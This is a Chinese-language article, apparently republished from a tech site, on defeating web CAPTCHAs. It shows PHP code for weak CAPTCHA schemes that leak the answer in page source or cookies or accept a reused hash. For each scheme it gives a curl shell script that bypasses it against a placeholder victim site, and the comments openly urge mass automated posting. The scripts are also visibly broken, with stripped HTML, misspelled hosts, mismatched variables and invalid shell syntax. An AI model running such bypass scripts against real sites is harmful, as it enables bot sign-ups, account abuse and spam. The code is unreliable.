驗證碼破解方法

所謂驗證碼，就是将一串随機産生的數字或符号，生成一幅圖檔，圖檔裡加上一些幹擾象素(防止OCR)，由使用者肉眼識别其中的驗證碼資訊。

　　輸入表單送出網站驗證，驗證成功後才能使用某項功能。不少網站為了防止使用者利用機器人自動注冊、登入、灌水，都采用了 驗證碼技術。

　　很多驗證碼實作都有問題。比如直接給出用驗證碼在網頁和cookies中。

　　驗證碼在網頁中的例子：

　　CODE:

　　

　　

　　srand((double)microtime()*1000000);

　　//驗證使用者輸入是否和驗證碼一緻

　　if(isset($HTTP_POST_VARS[’authinput’]))

　　{

　　if(strcmp($HTTP_POST_VARS[’authnum’],$HTTP_POST_VARS[’authinput’])==0)

　　echo "驗證成功!";

　　else

　　echo "驗證失敗!";

　　}

　　//生成新的四位整數驗證碼

　　while(($authnum=rand()%10000)<1000);

　　?>

　　

　　

　　請輸入驗證碼：

　　

　　>

　　>

　　

　　;

　　[Copy to clipboard]

　　以上例子直接将驗證碼儲存在負面中，隻需下載下傳頁面，得到驗證碼值就可突破限制。

　　CODE:

　　#!/bin/sh

　　curl http://www.vicitm.org/authpage.php

　　authinput=`grep ’’ grep.txt | sed -e ’s/[^0-9]//g’` #得到網頁中的

　　authnum

　　curl http://www.vicitm.org/authpage.php -d name=hacker -d submit="驗證" -d authnum=$authnum

　　[Copy to clipboard]

　　CODE:

　　session_register("authnum");

　　$authnum = strval(rand("1111","9999"));

　　setcookie("authnum",$authnum);

　　...

　　

　　...

　　if($number != $login_check_number || empty($number))

　　{

　　print("校驗碼不正确!");

　　die();

　　}

　　[Copy to clipboard]

　　第二種要比上一種聰明一點，把驗證碼值存放在使用者Cookies中。可是由于Cookies是使用者可讀可寫，是以也極易被突破。

　　CODE:

　　#!/bin/sh

　　$username=hacker

　　$password=hackme

　　curl http://www.vicitm.org/index.php -c common_cookie # 接受伺服器的初始cookies

　　curl http://www.vicitm.org/get_code.php -c $username.cook -b common_cookie # 得到驗證碼，從cookies中

　　authnum=`grep authnum $username.cook | cut -f7`

　　curl http://www.victim.org/login.php -b $username.cook -d authnum=$authnum -d username=$username -d password=$password # 使用

　　cookies中的驗證碼登陸

　　[Copy to clipboard]

　　更進階的驗證碼。(好像本論壇的就是這種。。。。)

　　有一類驗證碼比以上兩種驗證碼要進階一些，它使用如下算法：

　　1、伺服器生成一個随機hash。

　　2、使用某個算法(不可逆，破解難度高的)将hash轉化成為驗證碼數字，再轉化成圖檔。

　　3、hash在cookie中被發送到用戶端

　　4、客戶以圖檔輸入驗證碼，進行登入。伺服器檢查f(hash)=驗證碼。

　　特點：因為攻擊者不明白伺服器所使用的驗證碼編碼算法，是以無法對伺服器轉來的hash進行直接解析。

　　對付這種驗證碼，我們可以使用“過期cookies法”，方法即：儲存伺服器一次特定的cookies，将其對應驗證碼記下。在每次發送驗證消息時

　　，強行扔掉伺服器傳來的cookies，使用這個已被使用過的cookies以及驗證碼。就好比，一張電話儲值卡可以用多次一樣。

　　如:

　　先從伺服器上下載下傳一張驗證碼圖檔：

　　curl http://www.victim.org/get_code.php -c cookie -o auth.png

　　人工閱讀，得到$savecookie(cookie檔案中的hash)和$authnum(驗證碼)。

　　機器人突破驗證時，扔掉伺服器給的hash，強制使用$savecookie和$authnum進行突破

　　CODE:

　　$savecookie=294b506f05f896dcbb3a0dde86a5e36c

　　$num=7701

　　$username=hacker

　　$password=hackme

　　curl http://www.victim.org/index.php -c $username.cookie # 得到初始化cookies，以及session id

　　grep -v authhash $username.cookie > tmp.$username # 扔掉伺服器給你的hash

　　echo "www.victim.org FALSE / FALSE 0 hash $savecookie" >> tmp.$username # 強行使用過期hash 和驗證碼

　　mv tmp.$username $username.cookie

　　curl http://www.victim.org/login.php -b $username.cookie -c $username.cookie -d username=$username -d password=$password -d

　　authnum=$num # 使用過期驗證碼登陸。

　　#登陸成功，去瘋狂灌水。。。。。。

　　[Copy to clipboard]

　　最進階的驗證碼。

　　它使用如下方法：

　　1、伺服器通過使用者相關資訊(IP，SID等等)生成一個随機hash。

　　2、使用某個算法(不可逆，破解難度高的)将hash轉化成為驗證碼數字。

　　3、hash不再發送給用戶端。它被儲存到本地資料庫(通常是SESSIONS，有關使用者IP等資訊)，并由一個序列号seq所指向。(這個seq也可以是session id)

　　4、seq被作為cookies發送給用戶端。

　　5、客戶以圖檔輸入驗證碼。

　　6、伺服器驗證方法：伺服器并不檢查f(hash)==驗證碼，而是去讀取資料庫中期望的驗證碼。。如果使用者輸入與期望值相同，則驗證成功。有些伺服器可能還會seq與session id之間的關系進行驗繼續進行驗證。

　　7、一旦使用者進行了驗證操作或重新擷取驗證碼，而是伺服器将對資料庫中的hash值替換成新的，老值失效過期。

　　特點：

　　×過期：由于伺服器隻期望儲存在目前資料庫中的驗證碼，是以無法使用“過期”的驗證碼(因為已被新驗證碼所替換)。

　　×高強度：隻發送seq，而hash被儲存在本地，是以也極難破譯出f(hash)函數。

　　弱點：

　　OCR(光學識别) seq劫持 “驗證碼”DOS(對某些seq進行反複請求，導緻某些使用者無法進行正常驗證)

　　對付這種驗證碼我沒有什麼好的方法，簡便的方法就是自行下載下傳驗證碼，并給使用者顯示後登陸。這種适用隻驗證一次的場合。如登陸時驗證。

　　CODE:

　　curl http://www.victim.org/get_code.php -c validate.png -c validcode_cookie # 得到驗證碼圖檔，和對應seq。

　　seq=`grep seq validcode_cookie | cut -f7`

　　echo -n 請輸入validate.png中的驗證碼：

　　read valid_number # 輸入驗證碼

　　# 登陸，并進行某種自動化操作，如瘋狂灌水。

原文出自【比特網】，轉載請保留原文連結：http://sec.chinabyte.com/438/8917438.shtml